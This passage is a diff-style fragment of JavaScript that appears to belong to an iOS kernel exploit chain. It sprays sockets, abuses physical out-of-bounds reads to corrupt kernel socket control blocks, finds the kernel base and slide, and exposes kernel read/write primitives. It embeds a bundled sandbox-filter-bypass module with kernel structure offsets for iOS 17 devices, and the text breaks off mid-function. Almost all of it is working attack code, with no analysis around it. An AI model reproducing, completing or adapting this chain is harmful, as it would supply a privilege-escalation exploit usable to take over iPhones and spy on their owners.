{ + let search_mapping_address = search_mappings.pop(); + kr = mach_vm_deallocate(mach_task_self(), search_mapping_address, search_mapping_size); + } + if (is_a18_devices) { + surface_munlock(wired_mapping, wired_mapping_size); + } + if (success == true) { + break; + } + } + } + function pe_v2() { + let read_buffer = calloc(1n, oob_size); + let write_buffer = calloc(1n, oob_size); + initialize_physical_read_write(n_of_oob_pages * PAGE_SIZE); + let getsockopt_read_length = 32n; + let getsockopt_read_data = calloc(1n, getsockopt_read_length); + let wired_mapping_entry_size = PAGE_SIZE; + let wired_mapping_entries_total_size = 1024n * 1024n * 1024n * 2n; + let n_of_wired_mapping_entries = wired_mapping_entries_total_size / wired_mapping_entry_size; + let wired_mapping_entries_addresses = []; + LOG("[i] Allocating memory"); + let kr = KERN_SUCCESS; + let wired_address = 0n; + for (let i = 0n; i < n_of_wired_mapping_entries; i++) { + if (i == 0n) { + wired_address = new_bigint(); + do { + kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(wired_address), wired_mapping_entry_size, VM_FLAGS_ANYWHERE); + } while (kr != KERN_SUCCESS); + } else { + wired_address = BigInt(wired_mapping_entries_addresses.slice(-1)); + do { + wired_address += wired_mapping_entry_size; + kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(wired_address), wired_mapping_entry_size, VM_FLAGS_FIXED); + } while (kr != KERN_SUCCESS); + } + wired_mapping_entries_addresses.push(wired_address); + surface_mlock(wired_address, wired_mapping_entry_size); + uwrite64(wired_address, wired_page_marker); + uwrite64(wired_address + 0x8n, wired_address); + } + let target_inp_gencnt_list = []; + LOG("[i] Allocating memory done"); + while (true) { + let search_mapping_size = 0x800n * PAGE_SIZE; + let search_mapping_address = new_bigint(); + kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(search_mapping_address), search_mapping_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_vm_allocate failed!!!"); + exit(0n); + } + for (let k = 0n; k < search_mapping_size; k += PAGE_SIZE) { + uwrite64(search_mapping_address + k, random_marker); + } + surface_mlock(search_mapping_address, search_mapping_size); + let memory_object = new_bigint(); + let memory_object_size = BigInt(search_mapping_size); + kr = mach_make_memory_entry_64(mach_task_self(), get_bigint_addr(memory_object_size), search_mapping_address, VM_PROT_DEFAULT, get_bigint_addr(memory_object), 0n); + if (kr != 0n) { + LOG("[-] mach_make_memory_entry_64 failed!!!"); + exit(0n); + } + socket_ports = []; + socket_pcb_ids = []; + socket_ports_count = 0n; + let max_sockets_count = 0x5800n; + let split_count = 8n; + let wired_pages = []; + let success = false; + let seeking_offset = 0n; + while (seeking_offset < search_mapping_size) { + kr = physical_oob_read_mo(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); + if (kr != KERN_SUCCESS) { + seeking_offset += PAGE_SIZE; + continue; + } + if (uread64(read_buffer) == wired_page_marker) { + let wired_page = uread64(read_buffer + 0x8n); + LOG(`[i] seeking_offset: ${seeking_offset.hex()}: Found wired_page: ${wired_page.hex()}`); + if (wired_pages.indexOf(wired_page) == -1) { + wired_pages.push(wired_page); + let idx = wired_mapping_entries_addresses.indexOf(wired_page); + wired_mapping_entries_addresses.splice(idx, 1); + uwrite64(wired_page, 0n); + uwrite64(wired_page + 0x8n, 0n); + } else { + LOG(`[-] Found old wired page!!!!`); + seeking_offset += PAGE_SIZE; + continue; + } + kr = mach_vm_deallocate(mach_task_self(), wired_page, wired_mapping_entry_size); + if (kr != KERN_SUCCESS) { + LOG(`[-] Failed to deallocate wired page!!!!`); + } + for (let socket_count = 0n; socket_count < max_sockets_count / split_count; socket_count++) { + let port = spray_socket(socket_ports, socket_pcb_ids); + if (port == 0xFFFFFFFFFFFFFFFFn) { + LOG("[-] Failed to spray sockets: " + socket_ports_count.hex()); + break; + } else { + socket_ports_count++; + } + } + if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, true) == KERN_SUCCESS) { + LOG(`[i] seeking_offset: ${seeking_offset.hex()}: Reallocated PCB page`); + success = true; + break; + } else { + if (socket_ports_count >= max_sockets_count) { + sockets_release(); + LOG("[+] waiting for zone trimming..."); + sleep(20n); + } + seeking_offset = 0n; + } + } else if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, false) == KERN_SUCCESS) { + LOG(`[i] seeking_offset: ${seeking_offset.hex()}: Found PCB page`); + success = true; + break; + } else { + seeking_offset += PAGE_SIZE; + } + } + kr = mach_port_deallocate(mach_task_self(), memory_object); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_port_deallocate failed!!!"); + exit(0n); + } + sockets_release(); + kr = mach_vm_deallocate(mach_task_self(), search_mapping_address, search_mapping_size); + if (success == true) { + break; + } + } + for (let i = 0n; i < BigInt(wired_mapping_entries_addresses.length); i++) { + let wired_page = wired_mapping_entries_addresses[i]; + mach_vm_deallocate(mach_task_self(), wired_page, wired_mapping_entry_size); + } + } + function pe() { + let device_machine = get_device_machine(); + if (strstr(device_machine, get_cstring("iPhone17,")) != 0n) { + LOG("[+] Running on A18 Devices"); + is_a18_devices = true; + sleep(8n); + pe_init(); + pe_v2(); + } else { + LOG("[+] Running on non-A18 Devices"); + pe_init(); + pe_v1(); + } + LOG(`[+] highiest_success_idx: ${highiest_success_idx}`); + LOG(`[+] success_read_count: ${success_read_count}`); + uwrite64(go_sync_ptr, 0n); + uwrite64(race_sync_ptr, 1n); + js_thread_join(free_thread_jsthread); + close(write_fd); + close(read_fd); + control_socket_pcb = early_kread64(rw_socket_pcb + 0x20n); + let pcbinfo_pointer = early_kread64(control_socket_pcb + 0x38n); + let ipi_zone = early_kread64(pcbinfo_pointer + 0x68n); + let zv_name = early_kread64(ipi_zone + 0x10n); + kernel_base = zv_name & 0xFFFFFFFFFFFFC000n; + while (true) { + if (early_kread64(kernel_base) == 0x100000cfeedfacfn) { + if (early_kread64(kernel_base + 0x8n) == 0xc00000002n) { + break; + } + } + kernel_base -= PAGE_SIZE; + } + kernel_slide = kernel_base - 0xfffffff007004000n; + krw_sockets_leak_forever(); + } + mpd_js_thread_spawn = js_thread_spawn; + mpd_js_thread_join = js_thread_join; + mpd_pe = pe; + mpd_kread64 = early_kread64; + mpd_kwrite64 = early_kwrite64; + mpd_kwrite_length = kwrite_length; + mpd_kread_length = kread_length; + mpd_kwrite_zone_element = kwrite_zone_element; + mpd_control_socket = function() { return control_socket; } + mpd_rw_socket = function() { return rw_socket; } + mpd_pacia_gadget = function() { return dyld_signPointer_gadget; } + mpd_kernel_slide = function (addr = 0n) { + return addr + kernel_slide; + }; + mpd_kernel_base = function () { + return kernel_base; + }; + pe(); + + LOG("[+] PE Post-Exploitation !!!"); + LOG(`[+] kernel_base: ${mpd_kernel_base().hex()}`); + LOG(`[+] kernel_slide: ${mpd_kernel_slide().hex()}`); + let main = {}; + main.chainData = { + "chosenOffsets": null + } + + try { + /******/ (() => { // webpackBootstrap +/******/ "use strict"; +/******/ var __webpack_modules__ = ({ + +/***/ "./node_modules/raw-loader/dist/cjs.js!./dist/MigFilterBypassThread.js": +/*!*****************************************************************************!*\ + !*** ./node_modules/raw-loader/dist/cjs.js!./dist/MigFilterBypassThread.js ***! + \*****************************************************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) +/* harmony export */ }); +/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("/******/ (() => { // webpackBootstrap\n/******/ \t\"use strict\";\n/******/ \tvar __webpack_modules__ = ({\n\n/***/ \"./src/libs/Chain/Chain.js\":\n/*!*********************************!*\\\n !*** ./src/libs/Chain/Chain.js ***!\n \\*********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Chain)\n/* harmony export */ });\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n\n\nconst TAG = \"CHAIN\"\n\nclass Chain\n{\n\tstatic #driver;\n\tstatic #mutex;\n\n\tstatic init(driver, mutex=null)\n\t{\n\t\tthis.#driver = driver;\n\t\tthis.#mutex = mutex;\n\t}\n\n\tstatic destroy()\n\t{\n\t\tthis.#driver.destroy();\n\t}\n\n\tstatic runPE()\n\t{\n\t\treturn this.#driver.runPE();\n\t}\n\n\tstatic getKernelBase()\n\t{\n\t\treturn this.#driver.getKernelBase();\n\t}\n\n\tstatic getSelfTaskAddr()\n\t{\n\t\treturn this.#driver.getSelfTaskAddr();\n\t}\n\n\tstatic read(srcAddr, dst, len)\n\t{\n\t\tthis.#mutexLock();\n\t\tlet ret = this.#driver.read(srcAddr, dst, len);\n\t\tthis.#mutexUnlock();\n\t\treturn ret;\n\t}\n\n\tstatic write(dst, src, len)\n\t{\n\t\tthis.#mutexLock();\n\t\tlet ret = this.#driver.write(dst, src, len);\n\t\tthis.#mutexUnlock();\n\t\treturn ret;\n\t}\n\n\tstatic readBuff(srcAddr, len)\n\t{\n\t\tif (!this.read(srcAddr, Native.mem, len))\n\t\t\treturn false;\n\t\treturn Native.read(Native.mem, len);\n\t}\n\n\tstatic read8(src)\n\t{\n\t\tthis.read(src, Native.mem, 1);\n\t\treturn Native.read8(Native.mem);\n\t}\n\n\tstatic read16(src)\n\t{\n\t\tthis.read(src, Native.mem, 2);\n\t\treturn Native.read16(Native.mem);\n\t}\n\n\tstatic read32(src)\n\t{\n\t\tthis.read(src, Native.mem, 4);\n\t\treturn Native.read32(Native.mem);\n\t}\n\n\tstatic read64(src)\n\t{\n\t\tthis.read(src, Native.mem, 8);\n\t\treturn Native.read64(Native.mem);\n\t}\n\n\tstatic write8(dst, value)\n\t{\n\t\tNative.write8(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 1);\n\t}\n\n\tstatic write16(dst, value)\n\t{\n\t\tNative.write16(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 2);\n\t}\n\n\tstatic write32(dst, value)\n\t{\n\t\tNative.write32(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 4);\n\t}\n\n\tstatic write64(dst, value)\n\t{\n\t\tNative.write64(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 8);\n\t}\n\n\tstatic offsets()\n\t{\n\t\treturn this.#driver.offsets();\n\t}\n\n\tstatic strip(val)\n\t{\n\t\treturn this.#driver.strip(val);\n\t}\n\n\tstatic writeZoneElement(dstAddr,src,len)\n\t{\n\t\treturn this.#driver.writeZoneElement(dstAddr, src, len);\n\t}\n\n\tstatic getPaciaGadget()\n\t{\n\t\treturn this.#driver.getPaciaGadget();\n\t}\n\tstatic getClearPaciaGadget()\n\t{\n\t\treturn this.#driver.getClearPaciaGadget();\n\t}\n\n\tstatic transferRW()\n\t{\n\t\tlet rwCtx = this.#driver.transferRW();\n\t\tlet controlSocket = rwCtx.controlSocket;\n\t\tlet rwSocket = rwCtx.rwSocket;\n\t\tconsole.log(TAG, \"controlSocket: \" + controlSocket);\n\t\tconsole.log(TAG, \"rwSocket: \" + rwSocket);\n\n\t\tlet portPtr = Native.mem;\n\t\tNative.callSymbol(\"fileport_makeport\", controlSocket, portPtr);\n\t\tlet controlPort = Native.read32(portPtr);\n\n\t\tNative.callSymbol(\"fileport_makeport\", rwSocket, portPtr);\n\t\tlet rwPort = Native.read32(portPtr);\n\n\t\treturn {\n\t\t\tcontrolPort: controlPort,\n\t\t\trwPort: rwPort,\n\t\t\tcontrolSocket: controlSocket,\n\t\t\trwSocket: rwSocket\n\t\t};\n\t}\n\n\tstatic threadSpawn(scriptCFString, threadMem) {\n\t\tthis.#driver.threadSpawn(scriptCFString, threadMem);\n\t}\n\n\tstatic testKRW() {\n\t\tconsole.log(TAG, \"Testing KRW\");\n\t\tconsole.log(TAG, \"- kernelBase: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__[\"default\"].hex(this.getKernelBase()));\n\t\tconsole.log(TAG, \"- PACIA gadget: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__[\"default\"].hex(this.getPaciaGadget()));\n\t\tconsole.log(TAG, \"- Read kernel magic (4 bytes)\");\n\n\t\tlet buff = this.readBuff(this.getKernelBase(), 4);\n\t\tif (!buff) {\n\t\t\tconsole.log(TAG, \"kernel RW not working!\");\n\t\t\treturn false;\n\t\t}\n\t\tlet buff32 = new Uint32Array(buff);\n\t\tconsole.log(TAG, `- Magic: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__[\"default\"].hex(buff32[0])}`);\n\n\t\tif (buff32[0] != 0xfeedfacf) {\n\t\t\tconsole.log(TAG, \"Invalid magic!\");\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tstatic #mutexLock() {\n\t\tif (this.#mutex)\n\t\t\tNative.callSymbol(\"pthread_mutex_lock\", this.#mutex);\n\t}\n\n\tstatic #mutexUnlock() {\n\t\tif (this.#mutex)\n\t\t\tNative.callSymbol(\"pthread_mutex_unlock\", this.#mutex);\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Chain/Native.js\":\n/*!**********************************!*\\\n !*** ./src/libs/Chain/Native.js ***!\n \\**********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Native)\n/* harmony export */ });\nconst RTLD_DEFAULT = 0xFFFFFFFFFFFFFFFEn;\n\nclass Native {\n\n\t// Preallocated memory chunk for general purpose stuff for public use\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\n\t// Preallocated memory chunk for encoding/decoding of string arguments\n\tstatic #argMem = 0n;\n\n\t// Pointer to next available memory for native argument\n\tstatic #argPtr = 0n;\n\n\tstatic {\n\t\tthis.mem = this.callSymbol(\"malloc\", this.memSize);\n\t\tthis.#argMem = this.callSymbol(\"malloc\", 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t}\n\n\tstatic write(ptr, buff) {\n\t\tlet buffPtr = read64(read64(addrof(buff) + 0x10n) + 0x10n);\n\t\tthis.callSymbol(\"memcpy\", ptr, buffPtr, buff.byteLength);\n\t}\n\tstatic write32(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(4);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint32(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic read(ptr, length) {\n\t\tlet buffRes = new ArrayBuffer(length);\n\t\tlet buffPtr = read64(read64(addrof(buffRes) + 0x10n) + 0x10n);\n\t\tthis.callSymbol(\"memcpy\", buffPtr, ptr, length);\n\t\treturn buffRes;\n\t}\n\n\tstatic read8(ptr) {\n\t\tlet buff = this.read(ptr, 1);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getUint8(0);\n\t}\n\n\tstatic read16(ptr) {\n\t\tlet buff = this.read(ptr, 2);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getUint16(0, true);\n\t}\n\n\tstatic read32(ptr) {\n\t\tlet buff = this.read(ptr, 4);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getUint32(0, true);\n\t}\n\n\tstatic read64(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\n\tstatic readPtr(ptr) {\n\t\treturn this.read64(ptr);\n\t}\n\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\n\tstatic write8(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(1);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint8(0, value);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic write16(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(2);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint16(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic write32(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(4);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint32(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic write64(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(8);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic writeString(ptr, str) {\n\t\t//const buff = this.stringToBytes(str, true);\n\t\t//this.write(ptr, buff);\n\t\tthis.callSymbol(\"memcpy\", ptr, str, str.length + 1);\n\t}\n\n\tstatic getCString(str) {\n\t\treturn get_cstring(str);\n\t}\n\n\tstatic #prepareArg(arg) {\n\t\tif(!arg)\n\t\t\targ = 0n;\n\t\tif(typeof(arg) === \"string\")\n\t\t\treturn get_cstring(arg);\n\t\treturn BigInt(arg);\n\t}\n\n\tstatic strip(address) {\n\t\treturn address & 0x7fffffffffn;\n\t}\n\n\tstatic pacia(address, modifier) {\n\t\taddress = Native.strip(address);\n\t\t//console.log(TAG,`address:${Utils.hex(address)}, modifier:${Utils.hex(modifier)}`);\n\t\tlet signedAddress = pacia(address, BigInt(modifier));\n\t\t//console.log(TAG,`signedAddress:${Utils.hex(signedAddress)}`);\n\t\treturn signedAddress;\n\t}\n\n\tstatic dlsym(name) {\n\t\treturn Native.callSymbol(\"dlsym\", RTLD_DEFAULT, name);\n\t}\n\n\tstatic callSymbol(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) {\n\t\tlet funcSymbol = null;\n\t\tif(name === \"dlysm\")\n\t\t\tfuncSymbol = DLSYM;\n\t\telse\n\t\t\tfuncSymbol = fcall(DLSYM,RTLD_DEFAULT,get_cstring(name));\n\t\ta0 = this.#prepareArg(a0);\n\t\ta1 = this.#prepareArg(a1);\n\t\ta2 = this.#prepareArg(a2);\n\t\ta3 = this.#prepareArg(a3);\n\t\ta4 = this.#prepareArg(a4);\n\t\ta5 = this.#prepareArg(a5);\n\t\ta6 = this.#prepareArg(a6);\n\t\ta7 = this.#prepareArg(a7);\n\t\ta8 = this.#prepareArg(a8);\n\t\ta9 = this.#prepareArg(a9);\n\t\ta10 = this.#prepareArg(a10);\n\t\ta11 = this.#prepareArg(a11);\n\t\ta12 = this.#prepareArg(a12);\n\t\ta13 = this.#prepareArg(a13);\n\t\ta14 = this.#prepareArg(a14);\n\t\ta15 = this.#prepareArg(a15);\n\t\tlet chosen_fcall = null;\n\t\tif(typeof fcall_with_pacia !== 'undefined')\n\t\t\tchosen_fcall = fcall_with_pacia;\n\t\telse\n\t\t\tchosen_fcall = fcall;\n\t\tconst ret64 = chosen_fcall(funcSymbol, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\tif (ret64 == 0xffffffffffffffffn)\n\t\t\treturn -1;\n\t\treturn ret64;\n\t}\n\n\tstatic callSymbolRetain(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) {\n\t\treturn Native.callSymbol(name,a0,a1,a2,a3,a4,a5,a6,a7,a8, a9, a10, a11, a12, a13, a14, a15);\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i>= 8n;\n\t\t}\n\t\treturn a.buffer;\n\t}\n\tstatic gc() {\n\t}\n}\n\n// Register global Native class\nglobalThis.Native = Native;\n\n\n/***/ }),\n\n/***/ \"./src/libs/Chain/OffsetsStruct.js\":\n/*!*****************************************!*\\\n !*** ./src/libs/Chain/OffsetsStruct.js ***!\n \\*****************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ OffsetsStruct)\n/* harmony export */ });\nconst OFFSET_KERNEL_BASE = 0xfffffff007004000n\n//const OFFSET_KERNEL_TASK = 0x925770n // iOS 17.5.1 - iPhone 13/13 pro max\n//const OFFSET_KERNEL_TASK 0x91d318 // iOS 17.4.1 - iPhone 13 pro max\nconst OFFSET_KERNEL_TASK = 0x0n\nconst OFFSET_TASK_MAP = 0x28n\nconst OFFSET_TASK_NEXT = 0x30n\nconst OFFSET_TASK_PREV = 0x38n\nconst OFFSET_TASK_THREADS = 0x58n\nconst OFFSET_TASK_IPC_SPACE = 0x300n\nconst OFFSET_TASK_PROC_RO = 0x3a0n\nconst OFFSET_TASK_PROC_SIZE = 0x740n // iOS 17.5.1\nconst OFFSET_TASK_EXC_GUARD = 0x5d4n\n\nconst OFFSET_IPC_SPACE_TABLE = 0x20n\nconst OFFSET_IPC_ENTRY_OBJECT =\t0x0n\nconst OFFSET_IPC_OBJECT_KOBJECT = 0x48n\nconst OFFSET_IPC_PORT_IP_NSREQUEST = 0x58n\nconst OFFSET_IPC_PORT_IP_SORIGHTS = 0x84n\n\nconst OFFSET_PROC_PID = 0x60n\nconst OFFSET_PROC_P_COMM = 0x568n\n\nconst OFFSET_THREAD_OPTIONS = 0x70n\nconst OFFSET_THREAD_KSTACKPTR = 0xf0n\nconst OFFSET_THREAD_ROP_PID = 0x160n\nconst OFFSET_THREAD_JOP_PID = 0x168n\nconst OFFSET_THREAD_GUARD_EXC_CODE = 0x330n\nconst OFFSET_THREAD_TASK_THREADS = 0x370n\nconst OFFSET_THREAD_TRO = 0x380n\nconst OFFSET_THREAD_AST = 0x3a4n\nconst OFFSET_THREAD_MUTEX_DATA = 0x3b0n\nconst OFFSET_THREAD_CTID = 0x430n\n\nconst OFFSET_TRO_TASK = 0x20n\n\nconst OFFSET_VM_HDR_RBH_ROOT = 0x38n\nconst OFFSET_VM_RBE_LEFT = 0x0n\nconst OFFSET_VM_RBE_RIGHT = 0x8n\n\nconst OFFSET_VM_OBJECT_VOU_SIZE = 0x18n\nconst OFFSET_VM_OBJECT_REF_COUNT = 0x28n\n\nconst OFFSET_VM_NAMED_ENTRY_COPY = 0x10n\nconst OFFSET_VM_NAMED_ENTRY_NEXT = 0x20n\n\nconst OFFSET_MIG_LOCK = 0x0n;\nconst OFFSET_MIG_SBXMSG = 0x0n;\nclass OffsetsStruct\n{\n\tconstructor() {\n\t\tthis.baseKernel = OFFSET_KERNEL_BASE;\n\t\tthis.kernelTask = OFFSET_KERNEL_TASK;\n\t\tthis.T1SZ_BOOT = 17n;\n\n\t\tthis.mapTask = OFFSET_TASK_MAP;\n\t\tthis.nextTask = OFFSET_TASK_NEXT;\n\t\tthis.prevTask = OFFSET_TASK_PREV;\n\t\tthis.threads = OFFSET_TASK_THREADS;\n\t\tthis.ipcSpace = OFFSET_TASK_IPC_SPACE;\n\t\tthis.procRO = OFFSET_TASK_PROC_RO;\n\t\tthis.procSize = OFFSET_TASK_PROC_SIZE;\n\t\tthis.excGuard = OFFSET_TASK_EXC_GUARD;\n\n\t\tthis.spaceTable = OFFSET_IPC_SPACE_TABLE;\n\t\tthis.entryObject = OFFSET_IPC_ENTRY_OBJECT;\n\t\tthis.objectKObject = OFFSET_IPC_OBJECT_KOBJECT;\n\t\tthis.ipNsRequest = OFFSET_IPC_PORT_IP_NSREQUEST;\n\t\tthis.ipSorights = OFFSET_IPC_PORT_IP_SORIGHTS;\n\n\t\tthis.pid = OFFSET_PROC_PID;\n\t\tthis.pComm = OFFSET_PROC_P_COMM;\n\n\t\tthis.options = OFFSET_THREAD_OPTIONS;\n\t\tthis.kstackptr = OFFSET_THREAD_KSTACKPTR;\n\t\tthis.ropPid = OFFSET_THREAD_ROP_PID;\n\t\tthis.jopPid = OFFSET_THREAD_JOP_PID;\n\t\tthis.guardExcCode = OFFSET_THREAD_GUARD_EXC_CODE;\n\t\tthis.taskThreads = OFFSET_THREAD_TASK_THREADS;\n\t\tthis.tro = OFFSET_THREAD_TRO;\n\t\tthis.ast = OFFSET_THREAD_AST;\n\t\tthis.mutexData = OFFSET_THREAD_MUTEX_DATA;\n\t\tthis.ctid = OFFSET_THREAD_CTID;\n\n\t\tthis.troTask = OFFSET_TRO_TASK;\n\n\t\tthis.hdrRBHRoot = OFFSET_VM_HDR_RBH_ROOT;\n\t\tthis.rbeLeft = OFFSET_VM_RBE_LEFT;\n\t\tthis.rbeRight = OFFSET_VM_RBE_RIGHT;\n\n\t\tthis.vouSize = OFFSET_VM_OBJECT_VOU_SIZE;\n\t\tthis.refCount = OFFSET_VM_OBJECT_REF_COUNT;\n\n\t\tthis.backingCopy = OFFSET_VM_NAMED_ENTRY_COPY;\n\t\tthis.next = OFFSET_VM_NAMED_ENTRY_NEXT;\n\t\tthis.migLock = OFFSET_MIG_LOCK;\n\t\tthis.migSbxMsg = OFFSET_MIG_SBXMSG;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Driver/DriverNewThread.js\":\n/*!********************************************!*\\\n !*** ./src/libs/Driver/DriverNewThread.js ***!\n \\********************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ DriverNewThread)\n/* harmony export */ });\n/* harmony import */ var _Offsets__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./Offsets */ \"./src/libs/Driver/Offsets.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n\n\n\n\nconst TAG = \"DRIVER-NEWTHREAD\"\n\nconst EARLY_KRW_LENGTH = 0x20n;\nconst IPPROTO_ICMPV6 = 58n;\nconst ICMP6_FILTER = 18n;\n\nclass DriverNewThread\n{\n\t#offsets;\n\t#controlSocket;\n\t#rwSocket;\n\t#kernelBase;\n\t#paciaGadget;\n\t#tmpWriteMem;\n\n\tconstructor(controlSocket, rwSocket, kernelBase, paciaGadget=0n) {\n\t\tthis.#offsets = _Offsets__WEBPACK_IMPORTED_MODULE_0__[\"default\"].getByDeviceAndVersion();\n\t\tthis.#controlSocket = controlSocket;\n\t\tthis.#rwSocket = rwSocket;\n\t\tthis.#kernelBase = kernelBase;\n\t\tthis.#paciaGadget = paciaGadget;\n\t\tthis.#tmpWriteMem = Native.callSymbol(\"malloc\", EARLY_KRW_LENGTH);\n\n\t\tconsole.log(TAG, `Got RW context: ${this.#controlSocket}, ${this.#rwSocket}`);\n\t}\n\n\tdestroy() {\n\t\tconsole.log(TAG, \"Destroy\");\n\t\tNative.callSymbol(\"free\", this.#tmpWriteMem);\n\t\tNative.callSymbol(\"close\", this.#controlSocket);\n\t\tNative.callSymbol(\"close\", this.#rwSocket);\n\t}\n\n\tread(srcAddr, dst, len) {\n\t\t//console.log(TAG, `read(${Utils.hex(srcAddr)}, ${len})`);\n\t\tsrcAddr = this.strip(srcAddr);\n\t\tif (srcAddr < 0xffffffd000000000n) {\n\t\t\tconsole.log(TAG, `Invalid kaddr, cannot read: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(srcAddr)}`);\n\t\t\treturn false;\n\t\t}\n\t\treturn this.#kreadLength(srcAddr, dst, len);\n\t}\n\n\twrite(dst, src, len) {\n\t\tlet dstAddr = this.strip(dst);\n\t\tif (dstAddr < 0xffffffd000000000n) {\n\t\t\tconsole.log(TAG, `Invalid kaddr, cannot write: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(dstAddr)}`);\n\t\t\treturn false;\n\t\t}\n\t\treturn this.#kwriteLength(dst, src, len);\n\t}\n\n\twriteZoneElement(dst, src, len) {\n\t\tconst CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE = 0x20n;\n\n\t\tif (len < CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) {\n\t\t\tconsole.log(TAG, \"writeZoneElement supports only zone element size >= 0x20\");\n\t\t\treturn false;\n\t\t}\n\n\t\tlet write_size = 0n;\n\t\tlet write_offset = 0n;\n\n\t\tlet remaining = BigInt(len);\n\t\twhile (remaining != 0n) {\n\t\t\twrite_size = (remaining >= CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) ?\n\t\t\t\tCHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE : (remaining % CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE);\n\n\t\t\tlet kwrite_dst_addr = (dst + write_offset);\n\t\t\tlet kwrite_src_addr = (src + write_offset);\n\n\t\t\tif (write_size != CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) {\n\t\t\t\tlet adjust = (CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE - write_size);\n\t\t\t\tkwrite_dst_addr -= adjust;\n\t\t\t\tkwrite_src_addr -= adjust;\n\t\t\t}\n\t\t\tif (!this.#kwriteLength(kwrite_dst_addr,kwrite_src_addr, 